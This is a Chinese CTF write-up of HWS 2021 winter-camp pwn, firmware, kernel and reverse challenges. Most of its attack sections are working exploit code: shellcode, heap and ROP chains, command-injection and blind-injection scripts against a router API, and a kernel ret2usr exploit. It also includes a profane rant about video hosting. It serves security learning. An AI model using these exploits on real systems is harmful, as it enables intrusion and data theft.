本次入营赛时长4天半,仍然由安恒承办,赛题只有四类:固件、内核、逆向、Pwn。对于二进制选手足够友好,其中固件题目与IoT实战结合紧密,难度总体来说不大,入门友好型赛题。自己在比赛中也学到了很多东西,最终AK了Pwn和固件,内核和逆向分别做出来最简单的一个,总成绩排名第二。
- HWS冬令营介绍:HWS计划2021硬件安全冬令营重磅回归!
- 入营赛题目附件:HWS20210128.zip
Pwn
emarm
aarch64:libc2.27,qemu运行,默认没有NX,所以可以写shellcode
- 漏洞:输入和生成的随机数判等后可实现一个任意地址写8字节,其中随机数长度与输入相等,故一字节随机数爆破即可
- 利用:写GOT表后回到main继续任意写,然后写shellcode到data段,最后在写GOT表,劫持到shellcode即可
from pwn import *
context(log_level='debug')
# shelcode from https://www.exploit-db.com/shellcodes/47048
sc1 = "\xe1\x45\x8c\xd2\x21\xcd\xad\xf2"
sc2 = "\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"
sc3 = "\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa"
sc4 = "\xe2\x03\x1f\xaa\xe0\x63\x21\x8b"
sc5 = "\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
fread_got = 0x412060
main_read = 0x400BE4
def aaw(addr,data):
io.recv()
io.send(str(addr))
io.sendafter("success",data)
io.sendlineafter("bye",'2')
while 1:
try:
io = process(["qemu-aarch64", "-L", ".", "./emarm"])
#io = remote("183.129.189.60",10012)
io.sendlineafter(":","a")
aaw(fread_got,p64(main_read))
aaw(0x412080,sc1)
aaw(0x412088,sc2)
aaw(0x412090,sc3)
aaw(0x412098,sc4)
aaw(0x4120a0,sc5)
aaw(fread_got,p64(0x412080))
io.interactive()
except EOFError:
io.close()
continue
另外可以提前利用任意地址写free_got->printf_plt 完成泄露libc,由于qemu-user在固定环境下基址全是固定的,所以泄露的基址下次可以再用。泄露方法具体参考我媳妇博客:HWS2021冬令营选拔赛,故泄露后写GOT表到one_gadget即可:
from pwn import *
context(log_level='debug')
libc_addr = 0x4000830000
fread_got = 0x412060
one_gadget = 0x63e80
while 1:
try:
io = remote("183.129.189.60",10012)
io.sendlineafter(":","a")
io.recv()
io.send(str(fread_got))
io.sendlineafter("success",p64(libc_addr + one_gadget))
io.sendlineafter("bye",'0')
io.interactive()
except EOFError:
io.close()
continue
ememarm
aarch64:libc2.27,qemu运行,默认没有NX,所以可以写shellcode
- 漏洞:在修改堆块内容功能处,存在off-by-null,导致堆块指针最低位可以被置零
- 利用:用空字节溢出两个除最低位地址相同的堆块指针,然后即可造成对于该地址处堆块的double free,故构造tachedup实现任意任意地址写,可以采取先leak然后写one_gadget的策略
不过觉得自己在比赛中的解法也很精彩,即偷懒也巧妙:
- 偷懒在于:由于qemu没有NX,则shellcode一定可以搞定(比赛时没搞定leak libc)
- 巧妙在于:可用的tache链不够,每次任意地址写的数据也只有16字节,但在第一次tachedup时的第二次malloc可以修改程序中链表的next指针导致索引到伪堆块,从而利用edit功能继续任意地址写,这里可以写24个字节,网上找到的aarch64的shellcode最短正好40个字节,故第二次tachedup劫持控制流到shellcode即可
from pwn import *
context(log_level='debug')
io = process(['qemu-aarch64','-L','./','./ememarm'])
#io = process(['qemu-aarch64','-g','1234','-L','./','./ememarm'])
#io = remote("183.129.189.60",10034)
sla = lambda delim,data : io.sendlineafter(delim,data)
sa = lambda delim,data : io.sendafter(delim,data)
init = lambda name : (sla("4268144",name))
add = lambda data1,data2,yes : (sla(":","1"),sa("cx:",data1),sa("cy:",data2),sla("?",str(yes)))
add2 = lambda data1,data2,yes : (sla(":","4"),sa("cx:",data1),sa("cy:",data2),sla("?",str(yes)))
edit = lambda idx ,data : (sla(":","3\n"+str(idx)+"\n"+data))
# shelcode from https://www.exploit-db.com/shellcodes/47048
sc1 = "\xe1\x45\x8c\xd2\x21\xcd\xad\xf2"
sc2 = "\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"
sc3 = "\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa"
sc4 = "\xe2\x03\x1f\xaa\xe0\x63\x21\x8b"
sc5 = "\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
init('xuan')
# first tcachedup: # write shellcode(0x40 bytes) to 0x412058
add('a','a',1)
add('a','a',1)
add('a',p64(0x31),1) # prepare a fake 0x31 chunk in 0x413300(myself local heap addr)
add('a','a',1)
add('a','a',1)
edit(4,'a'*24) # free a fake 0x31 chunk in 0x413300(myself local heap addr)
edit(3,p64(0)+p64(0x31)+'a'*8) # fix the fake chunk size to 0x31 for malloc right and free it again
add(p64(0x412058),p64(0),1) # make fake chunk fd : 0x412058(.data) in tcache
add(p64(0),p64(0x412068),0) # link fake chunk 4 : 0x412068(.data) to list
add(sc1,sc2,0) # write shellcode part 1 - 2 (16 bytes) to 0x412058
edit(4,sc3+sc4+sc5) # write shellcode part 3 - 5 (24 bytes) to 0x412068
# sencond tcachedup: # write shellcode_addr(0x412058) to 0x412008(malloc@got)
add2('a','a',1)
add2('a','a',1)
add2('a','a',1) # don't need prepare a fake chunk in 0x413400(myself local heap addr)
add2('a','a',1) # because this addr real have a 0x41 chunk
add2('a','a',1)
edit(8,'a'*24) # free a fake 0x41 chunk in 0x413400(myself local heap addr)
edit(7,'a'*24) # free it again
add2(p64(0x412008),p64(0),1) # make fake chunk fd : 0x412008(malloc@got) in tcache
add2(p64(0),p64(0),0)
add2(p64(0x412058),'a'*8,0) # write shellcode_addr(0x412058) to 0x412008(malloc@got)
# malloc to trigger shellcode
sla(":","1")
io.interactive()
justcode
x86_64:libc2.23, canary, NX
- 漏洞:sub_400CCA未初始化栈变量,sub_400C47存在栈溢出。
- 利用:比较复杂,如下
- sub_400CCA的平级函数,sub_400C47函数栈上数据全部可控,导致再次回到sub_400CCA时,利用未初始化的变量可以实现一次任意四字节(int)地址 写 任意四字节(int)数据
- 故利用任意地址写,写sub_400C47函数中能触发到的GOT表项为有ret的gadget,由于栈数据全部可控,即可触发ROP
- 但由于任意地址写的地址和数据都只有4字节的限制,故劫持的函数不能是已经解析完并含有libc高地址的GOT表项,由于目标函数可以触发栈溢出,故选择stack_chk_fail为GOT表修改目标,另外程序本体中的gadget地址天然满足小于四个字节
- 最后由于程序禁用了execve系统调用,故要使用orw的ROP去读flag。所以要先leak libc,但栈溢出空间不够,故分成三次ROP完成整个利用,每次ROP后再次回到漏洞函数,重新控制栈上数据以及触发ROP即可
值得一提的是:其中第二次rop的是调用read读取flag路径,也就是rop执行过程中会去和攻击者进行交互,以获取之后的执行相关数据或者代码,这种思路主要是和煜博学到的:Favourite Architecture II - Startctf 2021。此法中,数据和shellcode代码分离,其优点是非常明显的,数据可变,而且shellcode不用进行复杂的数据处理。
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF("./justcode")
libc = ELF("./libc-2.23.so")
io = process(myelf.path,env={"LD_PRELOAD":libc.path})
#io = remote("183.129.189.60",10041)
uu64 = lambda data :u64(data.ljust(8, b'\0'))
sla = lambda delim,data : io.sendlineafter(delim,data)
sa = lambda delim,data : io.sendafter(delim,data)
stack_chk_fail_got = 0x602038
pop_rdi_ret = 0x400ea3
puts_plt = 0x400940
puts_got = 0x602028
overflow = 0x400C47
#gdb.attach(io,"b * 0x400ea3")
io.sendlineafter("code","1\n2\n1\n1")
io.sendlineafter("name",'a'*12+p32(stack_chk_fail_got))
io.sendlineafter("id" ,str(pop_rdi_ret))
io.sendlineafter("info","a")
# frist rop: leak libc
rop = flat([pop_rdi_ret,puts_got,puts_plt,overflow])
io.sendlineafter("name",rop.ljust(137,'a'))
io.recvline()
io.recvline()
libc.address = uu64(io.recv(6))-0x6f6a0
log.success(hex(libc.address))
pop_rdx_ret = libc.address + 0x1b92
pop_rsi_ret = libc.address + 0x202f8
# sencond rop: input flag path and open it into fd 3
rop = flat([
pop_rdi_ret,0, pop_rsi_ret,0x602168,pop_rdx_ret,8,libc.symbols['read'],
pop_rdi_ret,0x602168,pop_rsi_ret,0, libc.symbols['open'],
overflow
])
io.sendlineafter("name",rop.ljust(137,'a'))
sleep(0.1)
io.sendline("/flag\x00")
# third rop: read and write flag
rop = flat([
pop_rdi_ret,3, pop_rsi_ret,0x602178,pop_rdx_ret,100,libc.symbols['read'],
pop_rdi_ret,1, pop_rsi_ret,0x602178,pop_rdx_ret,100,libc.symbols['write'],
overflow
])
io.sendlineafter("name",rop.ljust(137,'a'))
io.interactive()
undlcv
x86_64:libc2.23, canary, NX, No RELRO,比较有意思的是此程序没有任何输出,io全靠sleep
- 漏洞:堆块本体off-by-null
- 利用:由off-by-null触发unlink,构造libc2.23 unlink利用方法,可以修改到程序中的数据指针,进而完成任意地址写。由于没有任何输出函数,故无法泄露libc。但因为
No RELRO
,故利用dl_runtime_resolve完成任意的libc函数调用。
from pwn import *
context(log_level='debug',arch= 'amd64')
myelf = ELF("./undlcv")
#io = remote("183.129.189.60",10013)
io = process(myelf.path)
str_table = myelf.get_section_by_name('.dynstr').data()
fake_str_table = str_table.replace("free","system")
#gdb.attach(io)
#sleep(1)
sl = lambda data : (io.sendline(data),sleep(0.01))
add = lambda index : (sl("1"),sl(str(index)))
edit = lambda index,data : (sl("2"),sl(str(index)),sl(data))
free = lambda index : (sl("3"),sl(str(index)))
ptr = 0x403480
fd = ptr - 0x18
bk = ptr - 0x10
free_got = 0x403418
str_tab = 0x4032A0
add(0)
add(1)
fake_chunk = flat([0,0xf1,fd,bk])
edit(0,fake_chunk.ljust(240,'a')+p64(0xf0))
# trigger unlink
free(1)
edit(0,p64(0)*3+p64(str_tab)+p64(free_got)+fake_str_table)
# write ("/bin/sh",fake str_table addr) to str_tab (0x5,real str_table addr)
edit(0,'/bin/sh\x00'+p64(0x403490))
# write 0x401030 to free_got
edit(1,p64(0x401030))
# trigger dl runtime reslove
free(0)
io.interactive()
不过此题getshell后权限是普通用户,而flag只能root用户查看,故还要提权,发现有sudo命令,尝试CVE-2019-14287成功:
vtcpp
x86_64:libc2.23:c++, canary, NX, Full RELRO
- 漏洞:堆块UAF,其中有个函数指针可控
- 利用:控制流劫持后利用比较麻烦,因为在之前没有leak,所以需要连续控制执行流,最终利用步骤如下:
- 开启了NX,故貌似只有rop一条路,那必须想办法控制栈,即rsp指向的数据
- c++中strings对象如果字符少于16字节会把串的内容保存在栈上
- 调试发现strings存到栈上的位置是rsp+0x28
- 正好找到一个add rsp 0x28,ret的gadget
- 正好找了一个pop rsp的gadget,故需要16个字节即可把栈搞走
- 正好strings对象可以保存栈上最多的数据为16个字节
- 上面的步骤串起来就是栈迁移,然后rop完事了
想起了左耳朵耗子那句:一切都是正好,没有生不逢时。
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF("./vtcpp")
libc = ELF("./libc-2.23.so")
io = process(myelf.path,env={"LD_PRELOAD":libc.path})
#io = remote("183.129.189.60",10000)
uu64 = lambda data : u64(data.ljust(8, b'\0'))
sla = lambda delim,data : io.sendlineafter(delim,data)
create = lambda name,age,msg : (sla(">","1"), sla("name",name), sla("age",age), sla("message",msg) )
delete = lambda : (sla(">","2"))
show = lambda : (sla(">","3"))
malloc = lambda size,data : (sla(">","4"), sla("size",str(size)), sla("content",data))
#gdb.attach(io,"b * 0x401a2d")
bss_addr = 0x603360
bss_rop2 = 0x603400
scanf_got = 0x602F88
puts_plt = 0x401310
read_plt = 0x401350
pop_rdi_ret = 0x401ca3 # pop rdi ; ret
pop_rsi_r15_ret = 0x401ca1 # pop rsi ; pop r15 ; ret
add_rsp_0x28 = 0x401a2d # add rsp, 0x28 ; pop rbx ; pop rbp ; ret
pop_rsp = 0x401c9d # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
rop = flat([
0x1,0x2,0x3, # pop_rsp: padding
pop_rdi_ret, scanf_got , puts_plt, # puts(scanf_got):leak libc
pop_rdi_ret, 0, pop_rsi_r15_ret, bss_rop2, 0, read_plt, # read next rop to bss_rop2
pop_rsp , bss_rop2 - 0x18 # pop_rsp: padding in addr
])
name = p64(pop_rsp)+p64(bss_addr+8)[:7] # leave it in stack: rsp + 0x28
data = p64(add_rsp_0x28)+rop # leave it in bss 0x603360
############################################## attack 1 ################################################
create(name,"18",data)
delete()
malloc(0x38,p64(bss_addr)) # UAF prepare: write func ptr (in heap) to bss_addr
show() # UAF trigger: 0x603340 -> func ptr(bss_addr:0x603360) -> run add_rsp_0x28
########################################################################################################
io.recv()
libc.address = uu64(io.recv(6))-0x6a7f0
log.success(hex(libc.address))
pop_rdx_ret = libc.address + 0x1b92
pop_rsi_ret = libc.address + 0x202f8
rop2 = flat([
pop_rdi_ret, 0, pop_rsi_ret, bss_addr, pop_rdx_ret, 8 , libc.symbols['read'] ,
pop_rdi_ret, 0, pop_rsi_ret, bss_addr, pop_rdx_ret, 0 , libc.symbols['openat'],
pop_rdi_ret, 3, pop_rsi_ret, bss_addr, pop_rdx_ret, 100, libc.symbols['read'] ,
pop_rdi_ret, 1, pop_rsi_ret, bss_addr, pop_rdx_ret, 100, libc.symbols['write'] ,
])
############################################## attack 2 ################################################
io.send(rop2);sleep(0.1)
io.sendline("/flag\x00")
io.interactive()
########################################################################################################
固件安全
其他AK固件的WP找到一份:lxonz: 2021HWS冬令营线上赛固件安全WriteUp
STM
STM32:arm:firmware
STM32固件逆向,给出用IDA分析STM32的方法:SCTF 2020 Password Lock Plus 入门STM32逆向,IDA分析视频如下:
B站的外链不让用
high_quality=1
调整视频为高清了,妈的你他妈差那点流量么?我可以付费,但是你没有这个业务啊,真是好小家子气。老子去用youtube,用了一下发现真他妈舒服,发布时无审核,外链可以高清,开头没广告。国内的生态是真他妈垃圾,还各种网络不通,整点啥都贼费劲,上面为youtube外链,自行解决观看办法。
B站备用:使用IDA分析STM32固件
解题代码:
a = [
0x7D,0x77,0x40,0x7A,0x66,0x30,0x2A,0x2F,
0x28,0x40,0x7E,0x30,0x33,0x34,0x2C,0x2E,
0x2B,0x28,0x34,0x30,0x30,0x7C,0x41,0x34,
0x28,0x33,0x7E,0x30,0x34,0x33,0x33,0x30,
0x7E,0x2F,0x31,0x2A,0x41,0x7F,0x2F,0x28,
0x2E,0x64
]
flag = ""
for i in a:
flag += chr((i ^ 0x1E) + 3)
print(flag)
blinkblink
MIPS32:linux:goahead
嵌入式Web,路由器登录页面,给了固件,题意应该是前台getshell,故两大思路:
- 登录框:登录绕过、注入、溢出
- 功能API:前台getshell、后台getshell+前台绕过
审计goahead本体,登录框处溢出无果,转而审计接口api,可以从Web前端和服务器后端分别寻找。前端是入口,后端是实现,所以还是主要放在实现上,因为可能出现两种前后不对应的情况:
- 前端有接口,但后端没有发现对应的处理方法:没实现、被弃用
- 前端无接口,但后端发现了接口以及处理方法:隐藏接口、后门、弃用功能,但只在前端去掉了入口
对于本题:
- 从
getinfo.js
翻到接口api - 从
goahead
本体找到接口实现,其注册函数为:formDefineCGIjson
具体分析方法可以参考我媳妇的WP:blinkblink题解.docx。总之,审到了两个api:
- 命令执行有回显:goform/set_cmd: cmd
- 命令注入无回显:goform/set_1TR2TR_cfg: info
有回显的直接可以翻到flag:
import requests,json
while 1:
command = raw_input("> ")
response = requests.post("http://183.129.189.60:10035/goform/set_cmd",data={'cmd':command})
print(json.loads(response.content)['cmdinfo'])
无回显的可以写文件(开始没权限需要chmod 777):
import requests
while 1:
cmd = "chmod 777 /home/goahead/etc_ro/web/admin/images/wifiOn.gif;"
cmd += raw_input("> ")+" > /home/goahead/etc_ro/web/admin/images/wifiOn.gif;"
for i in range(3):
try: requests.post("http://183.129.189.60:10035/goform/set_1TR2TR_cfg",data={"info":"11;%s"%cmd})
except: pass
response = requests.get("http://183.129.189.60:10035/admin/images/wifiOn.gif")
print(response.content)
无回显的也可以盲注,网络不稳定时,及其不准。但因为开始没有审出来那个有回显的,写文件也不成功,因为没改权限,所以也是没办法的办法,最起码开始把flag路径注出来了:
import requests,time
url = "http://183.129.189.60:10035/goform/set_1TR2TR_cfg"
flag = ''
pos = 1
#cmd = "find /home/ -name 'login.css'"
#cmd = "find /home/ -name 'flag*'"
cmd = "cat /home/goahead/flag.txt"
while 1:
print("[+]new pos")
print("[+]%s"%flag)
for i in range(32,127):
payload = {
"info":"11;%s | cut -c%s | tr %s 9 | xargs sleep;" % (cmd,str(pos),chr(i))
}
try:
t1 = time.time()
requests.post(url=url,data=payload,timeout=10)
t2 = time.time()
except:
t2 = time.time()
if t2-t1 > 7:
pos += 1
flag += chr(i)
print flag
break
成功证明:
httpd
arm:linux:libc2.27:boa,No canary,Full RELRO,PIE
西湖论剑修改题:babyboa,仍然是分析boa程序,这里名为httpd,分析baisc认证处理函数sub_A8DC
:发现栈溢出还在,但是程序开了PIE,故没法利用。但多了一段代码:
if ( !strcmp(byte_31320, "Http-Server") ){
snprintf(v10, 0xC8u, "echo %s>/tmp/xx", *(const char **)(a1 + 104));
system(v10);
}
其中byte_31320
是一个全局变量,存放每次basic认证base64解密后的字符串,交叉引用分析发现其值每次不会清空,只会在baisc串解完之后赋值。故前一次使用Http-Server
作为basic认证的用户名登录,第二次则会进入到if分支中执行system命令。
故这里就存在了嵌入式中常见的命令注入漏洞,先sprintf把命令格到一个变量里,然后system执行。这个考点非常好!因为现实中嵌入式设备的常见漏洞就是这个模式,而且就是如此的简单!那注入点*(a1 + 104)
是什么呢?显然有三种分析方法:
- 源码分析(boa是开源的)
- 二进制静态分析
- 动态调试
对于这个问题来说,静态分析 > 源码分析> 动态调试,因为结构体看起来不大,就是一级指针,静态分析二进制应该难度不大。并且题目boa加入了一个功能,不能判断题目是否对该结构体的定义进行的修改,故源码分析可能带来不必要的麻烦,不过针对本题,导入源码头文件分析没有任何问题:lxonz: 2021HWS冬令营线上赛固件安全WriteUp。最后此题因为缺少程序的配置文件以及多进程,动态调试并非轻而易举。静态分析方法如下:
- 分析
sub_A8DC
的第二个参数a2
,其父级函数sub_7ED4
调用时使用*(a1 + 108)
为参数 - 而在
sub_A8DC
能看到需要比较a2
是否是Basic
字符串 - 故
*(a1 + 108)
即HTTP头的Authorization
字段,故寻找此字段的相关操作 - 找到
sub_8098
函数:strcmp(v1, "AUTHORIZATION") || a1[27]
,因27*4==108
,故寻找a1[26]
- 找到
if (!strcmp(v1, "REFERER")){a1[26] = v5;
,故HTTP头字段REFERER
命令注入 - 因为是system,故命令执行无回显,尝试curl带出数据成功
所以程序开了PIE也是希望用选手命令注入做,而非栈溢出。
那最后尝试一下调试,对于本题来说,其实但从给的附件是无法启动httpd程序的,需要使用西湖论剑中的配置文件来配置好系统,这些内容可以在西湖论剑的附件:西湖论剑 2020 IoT闯关赛 赛后整理中找到:pwn1.squashfs,具体来说就是这个start.sh:
mkdir -p /var/log/boa && mkdir /etc/boa && mkdir /html
cp /workspace/mime.types /etc/mime.types
cp /workspace/boa.conf /etc/boa/boa.conf
echo "<h2>Login success! Hello admin!</h2>" > /html/index.html
if [ ! -f "/dev/urandom" ]; then
echo "Hatlabeadec28038107386e710d0eba061e224" > /dev/urandom
fi
if [ ! -f "/dev/null" ]; then
touch /dev/null
fi
cat /dev/urandom | head -n 1 > /tmp/passwd && chmod 777 /tmp/passwd
chmod +x /workspace/boa
/workspace/boa -c /html -f /etc/boa/boa.conf
所以需要让自己的系统中这些东西都在,改吧改吧脚本就行了。启动后,调试这题有两个难点:PIE和多进程。如果是正常x86本地程序,这两个都不是什么问题:
- PIE:可以关闭本地随机化,然后看vmmap / 每次看vmmap
- 多进程:gdb attach pid / 设置gdb选项
set follow-fork-mode child
本地基本都有两种以上的方法解决如上问题,但如果是qemu-user跑起来的程序,分析可知:
- 对于PIE:qemu-user本身对于随机化实现就不完全,所以只要确定一次地址就可以了,但qemu模拟的程序如果是32位,则程序地址不是直接映射,故需要在调试器里看vmmap
- 对于多进程:显然attach pid是不行的,因为attach是本地的qemu进程,而不是qemu给你的模拟gdb接口,看起来就只有gdb选项
set follow-fork-mode child
一条路了
- 问:那
vmmap
和set follow-fork-mode child
,在qemu-user的情境下,是否还可以使用呢? - 答:几乎用不了!
更细的原理分析及实例将会单开一篇博客,敬请期待。这里只写本题的调试方法,绕过不好使的vmmap和跟进子进程:
- PIE:待调试器本身发现了足够的地址空间映射后,想办法先断下来,然后全局搜索程序相关的字符串,即可定位程序地址
- 多进程:对于boa程序来说,在启动时如果有参数
-d
,即可禁用fork,故单进程即可随意开心的调试了,源码如下:
static void parse_commandline(int argc, char *argv[])
{
...
case 'd':
do_fork = 0;
调试过程比较复杂,视频如下,仍然是youtube外链:
有了调试,栈溢出可以自行练习
easybios
X86_64:BIOS:UEFI:edk2:https://github.com/tianocore/edk2
binwalk可以解出来一个名为840A8(偏移)的大文件,并分析出其中有PE格式的文件,不过并没有提取出来,原因不详,不过对于840A8这个文件,应该是没有加密的,故可以用IDA直接分析。在IDA中,全局搜索Wrong这个flag输入错误的字符串没有找到,故搜索unicode字符,unicode即UTF-16LE,固定两个字节,ascii字符用两个字节表示,故高位就是00,小端存储,故搜索字节序列57 00 72 00
(W r),找到Wrong串如下:
seg000:000000000037F1B8 aWrong: ; DATA XREF: sub_33BBB3:loc_33BDC9↑o
seg000:000000000037F1B8 text "UTF-16LE", 'Wrong!',0Dh,0Ah,0
交叉引用过去,找到sub_33BBB3()
函数,分析后sub_312169()
即为处理函数,IDA7.5参数分析错误,因为是纯异或所以扒出代码,然后异或flag加密串即可:
magic = 'OVMF_And_Easy_Bios'
flag_xor = [
0x46,0x77,0x74,0xb0,0x27,0x8e,0x8f,0x5b,
0xe9,0xd8,0x46,0x9c,0x72,0xe7,0x2f,0x5e]
v13 = [0]*512
for i in range(256):
v13[i] = i
v13[i+256] = ord(magic[i % 18])
v2 = 0
v3 = 0
while 1 :
v4 = v13[v2]
v3 = (v13[v2 + 256] + v4 + v3) % 256;
v5 = v13[v3]
v13[v3] = v4
v13[v2] = v5
v2 += 1
if v2 == 256: break
v6 = 0
v7 = 0
v8 = 0
xor_list = []
while(1):
v8 = v8 + 1
v9 = v13[v8];
v10 = (v9 + v7) % 256;
v11 = v13[v10];
v13[v10] = v9;
v7 = (v9 + v7) % 256;
v13[v8] = v11;
result = v13[(v11 + v13[v10]) % 256];
xor_list.append(result)
v6 += 1
if v6 == 16:break
flag = ''
for i in range(16):
flag += "%02x" % (xor_list[i]^flag_xor[i])
print(flag)
关于字符集问题:
- 非常直观的回答:uuspider: Unicode 和 UTF-8 有什么区别?
- 定义明确的回答:邱昊宇: Unicode 和 UTF-8 有什么区别?
所以对于一个字符到底怎么存储的,简单来说:
- UTF-8 : 变长,1-4个字节
- Unicode: 定长,2个字节,就是UTF-16LE
easymsg
arm:linux
西湖论剑修改题:messageBox,不过看代码是读文件过滤了flag,然后协议开头的magic由H4bL1b变成了HwsDDW,但是不知道为啥用原来的读文件直接读flag还是能打通,本地打通了,远程多打几次也通了,原因没细研究:
from pwn import *
import zlib
context(log_level='debug',endian='big')
io = remote("183.129.189.60",10016)
payload = "readFile:"+"/"*0x100+"/flag"
crc = int(zlib.crc32(payload)& 0xffffffff)
io.send("HwsDDW"+p16(len(payload))+"\x01\x02"+p32(crc)+payload)
io.interactive()
原exp成功证明截图如下,base64解码后即为flag:
命令执行正解:2020西湖论剑IoT闯关赛系列Writeup(嵌入式PWN部分)
PPPPPPC
ppc:linux
- 不用逆向,调试发现栈溢出,远程环境一定是qemu,故shellcode一把梭
- 搜索内存发现两段内存里存着发过去的数据,注意要用栈上的shellcode,拷贝到数据段的shellcode会被截断。
- 栈地址可以通过远程内存访问报错是打印寄存器泄露,由于是qemu,所以每次不变,故泄露一次,下一次攻击用即可
from pwn import *
context(log_level='debug',endian='big',arch ='ppc')
# shellcode from http://shell-storm.org/shellcode/files/shellcode-86.php
shellcode = "\x7c\x3f\x0b\x78"
shellcode += "\x7c\xa5\x2a\x79"
shellcode += "\x42\x40\xff\xf9"
shellcode += "\x7f\x08\x02\xa6"
shellcode += "\x3b\x18\x01\x34"
shellcode += "\x98\xb8\xfe\xfb"
shellcode += "\x38\x78\xfe\xf4"
shellcode += "\x90\x61\xff\xf8"
shellcode += "\x38\x81\xff\xf8"
shellcode += "\x90\xa1\xff\xfc"
shellcode += "\x3b\xc0\x01\x60"
shellcode += "\x7f\xc0\x2e\x70"
shellcode += "\x44\x00\x00\x02"
shellcode += "/bin/shZ"
#io = process(['./qemu-ppc-static','-g','1234','./PPPPPPC'])
io = remote("183.129.189.60",10039)
io.sendlineafter("name",shellcode.ljust(316,'a')+p32(0xf6fffab8))
io.interactive()
gdb.cmd:
file PPPPPPC
set architecture powerpc:403
set endian big
b * 0x100b3390
target remote :1234
nodemcu
nodemcu:esp8266:xtensa:firmware
比赛时没仔细看是个啥玩意,binwalk也没分析出指令集来,strings直接出flag:
➜ strings nodemcu.bin
flag{
6808dcf0
-526e-11eb-92de-
acde48001122
赛后查了一下,看起来是底层是ESP8266,之前看过用这玩意做的wifi杀手(就是发断网包):ESP8266 WiFi杀手终极版操作演示。正好最近买了一个,过一阵研究研究:
内核安全
第一次做内核,基础学习文章如下:
- Linux Kernel Basics
- linux内核基础
- Linux Kernel 环境配置及调试
- Linux Kernel Pwn 学习笔记(栈溢出)
- HWS夏令营 之 GDB调一切: 调试linux内核
基础练习题目如下:
- 练习文章:Linux Kernel Pwn 初探
- 配套题目:链接:https://pan.baidu.com/s/1yuefRhjs2KTxK2f_sC4cUA 密码:q58k
进阶练习题目如下:ISCN2017 - babydriver、2018 强网杯 - core、2018 0CTF Finals Baby Kernel
- Linux Kernel UAF CISCN2017 - babydriver
- Linux Kernel bypass-smep CISCN2017 - babydriver
- Linux Kernel ROP 2018 强网杯 - core
- Linux Kernel ret2usr 2018 强网杯 - core
- Linux Kernel Double Fetch 2018 0CTF Finals Baby Kernel
ddkernel
x86_64:linux
啥保护也没开的内核栈溢出,ret2user即可。主要说一下上传的问题,自己练习的过程中,编译完exp可以重打包到文件系统中,但是题目里需要上传,于是有两个问题:
- 怎么上传?
- 上传太慢怎么办?
上传脚本
在:Linux Kernel Pwn 初探抄到上传方法,本质是base64编解码+echo追加写,上传过程会显示百分比,界面很友好:
from pwn import *
#context(log_level='debug')
#io = process("./boot.sh")
io = remote("183.129.189.60",10015)
def exec_cmd(cmd):
io.sendline(cmd)
io.recvuntil("$ ")
def upload():
p = log.progress("Upload")
with open("./exp", "rb") as f:
data = f.read()
encoded = base64.b64encode(data)
io.recvuntil("$ ")
for i in range(0, len(encoded), 600):
p.status("%d / %d" % (i, len(encoded)))
exec_cmd("echo \"%s\" >> /tmp/benc" % (encoded[i:i+600]))
exec_cmd("cat /tmp/benc | base64 -d > /tmp/bout")
exec_cmd("chmod +x /tmp/bout")
upload()
io.interactive()
上传速度
正常用glibc编译完的exp一般在1M上下,对于题目网络环境不好的情况可能要上传非常久,如果中间超时断了,就要重头再来。比赛时我抱着电脑去做饭,还没洗完碗就断了…这里其实有两种解决办法:
- 换用体积小的libc如musl,甚至不用libc,直接用纯系统调用
- 买一个与题目在同一机房的服务器进行上传
因为之前跟煜博学了risc-v那个shellcode,所以知道如何不用libc写shellcode,要求是避免用格串什么的,完全用系统调用替代libc的库函数,代码如下,编译完只有6k,如果手动调整以下应该可以小到几百字节:
以下代码有bug,不知道为啥用系统调用写execve就不成功,orw flag没问题
asm(
"execve:\n"
"mov $59,%rax\n"
"syscall\n"
"ret\n"
"open:\n"
"mov $2,%rax\n"
"syscall\n"
"ret\n"
"read:\n"
"mov $0,%rax\n"
"syscall\n"
"ret\n"
"write:\n"
"mov $1,%rax\n"
"syscall\n"
"ret\n"
"exit:\n"
"mov $60,%rax\n"
"syscall\n"
"ret\n"
);
void * commit_creds = 0xffffffff8105d235;
void * prepare_kernel_cred = 0xffffffff8105d157;
void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
/* puts("[*] root now."); */
}
unsigned long user_cs, user_ss, user_eflags,user_sp,shell2;
void save_stats(){
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
void shell(){
//execve("/bin/sh",&a,0);
char buf[100];
int a = open("/flag",0);
read(a,buf,100);
write(1,buf,100);
exit(0);
}
int exp(){
get_root();
shell2 = (unsigned long)shell;
asm(
"push %0\n"
"push %1\n"
"push %2\n"
"push %3\n"
"push %4\n"
"swapgs \n"
"iretq \n"
:
:"m"(user_ss), "m"(user_sp), "m"(user_eflags),"m"(user_cs),"m"(shell2)
: "memory"
);
}
int main(){
save_stats();
char a[0x107];
long long * payload;
payload = (long long *)a;
payload[0] = 0xaaaaaaaaaaaaaaaa;
payload[1] = 0xaaaaaaaaaaaaaaaa;
payload[2] = (void *)exp;
int f = open("/proc/doudou",1);
write(f,a,0x107);
exit(0);
return 0;
}
编译与重打包如下:
gcc -e main -nostdlib -static exp.c -o exp
cp ./exp ./rootfs/
cd rootfs && find . | cpio -H newc -o > ../rootfs.img
cd .. && ./boot.sh
reverse
AK逆向的WP找到三份:
- 20000s: HWS计划2021硬件安全冬令营线上选拔赛 re wp
- blinkb1ink: HWS计划2021硬件安全冬令营线上选拔赛
- Bxb0: HWS计划2021硬件安全冬令营线上选拔赛部分Wp
我自己第一次正经看逆向题,完全不会,对windows也不熟,就做了一个,算上固件里STM和easybios,人生总共做过4个逆向,之前做过一个什么老年人逆向,比下面这个还简单:
decryption
x86:windows
爆破即可:
en_flag = [0x12,0x45,0x10,0x47,0x19,0x49,0x49,0x49,
0x1A,0x4F,0x1C,0x1E,0x52,0x66,0x1D,0x52,
0x66,0x67,0x68,0x67,0x65,0x6F,0x5F,0x59,
0x58,0x5E,0x6D,0x70,0xA1,0x6E,0x70,0xA3]
